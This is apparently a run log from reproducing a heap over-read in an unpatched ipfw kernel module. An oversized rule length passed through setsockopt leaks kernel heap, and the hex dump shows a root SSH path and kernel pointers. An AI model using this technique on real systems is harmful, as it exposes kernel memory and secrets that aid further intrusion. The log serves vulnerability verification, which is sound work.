DF-0472 / run.log
kldload_rc=0
=== DF-0472 info-leak reproduction on UNPATCHED #0 module (expect rc=0 + non-zero leaked bytes) ===
[*] struct sizes ok: ipfw_insn=8 ioc_rule=48 cmd_off=36 stride_const=40
[*] raw socket fd=3 (root-only path)
[*] ADD: sending 52 bytes; claims cmd_len=255 (= 1020 bytes of cmd)
[*] kernel only has 8 bytes of real cmd (1 insn) but will
[*] krealloc to 1020 and bcopy 1020 bytes -> heap over-read
[+] setsockopt(IP_FW_ADD) rc=0 errno=0 (ok)
[+] getsockopt(IP_FW_GET) rc=0 returned 1108 bytes
[*] rule @ off=0: rulenum=100 cmd_len=255 act_ofs=0 blk=1060 bytes
===== LEAKED RULE cmd region (1020 bytes) =====
bytes [0..7] = our MARKER cmd (0xDE 01 ...)
bytes [8..1019] = LEAKED KERNEL HEAP (krealloc tail + over-read)
0000: de 01 be ad ef 01 03 02 00 00 00 00 00 00 00 00
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
02a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
02b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
02c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
02d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
02e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
02f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0310: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0320: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
03a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
03b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
03c0: 00 2f 72 6f 6f 74 2f 2e 73 73 68 2f 61 75 74 68
03d0: 6f 72 69 7a 65 64 2f 72 6f 6f 74 00 00 00 00 00
03e0: 00 00 00 00 00 00 00 00 00 00 00 00 60 5a 11 81
03f0: ff ff ff ff 20 5a 11 81 ff ff ff ff
[+] LEAK SUMMARY: 42 / 1012 bytes non-zero in leaked region
[+] first non-zero leaked byte at cmd[961], last at cmd[1019]
[+] sample (cmd[8..47], the over-read boundary area): 00000000000000000000000000000000000000000000000000000000000000000000000000000000
[*] rule @ off=1060: rulenum=65535 cmd_len=2 act_ofs=0 blk=48 bytes
leak_rc=0